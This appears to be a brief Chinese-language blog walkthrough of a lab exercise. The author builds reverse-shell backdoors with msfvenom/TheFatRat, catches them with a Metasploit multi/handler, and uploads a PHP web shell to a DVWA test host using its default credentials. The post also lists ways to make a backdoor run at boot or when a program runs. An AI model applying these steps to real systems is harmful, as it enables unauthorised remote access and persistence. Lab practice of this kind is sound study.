Sunday, August 23, 2020

Reverse shell 後門程式


選 1 -> 用msfvenom產生後門程式


產生後門程式 test.sh

注入後門程式

找尋可以執行程式的地方

1. 開機執行?

2. 執行某個程式的時候?

3. 執行某個功能的時候?


sudo msfconsole

使用模組:exploit/multi/handler


執行程式

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.92.128:1234 

待受首者執行後門程式 (先用本機是否測試成功,另一台也要是 kali)

root@kali:~/Fatrat_Generated# ./test.sh 

./test.sh: redirection error: cannot duplicate fd: Bad file descriptor

./test.sh: line 1: 154: Bad file descriptor

攻擊者成功建立Reverse shell



注入後門程式在 192.168.92.129

先產生 php 後門程式

port 9999



設定好後,產生 test.php

登入

http://192.168.92.129/dvwa/login.php (default username is 'admin' with password 'password')


將後門程式上傳


執行 http://192.168.92.129/dvwa/hackable/uploads/test.php





No comments:

Post a Comment

n8n index

 【n8n免費本地端部署】Windows版|程式安裝x指令大補帖  【一鍵安裝 n8n】圖文教學,獲得無限額度自動化工具&限時免費升級企業版功能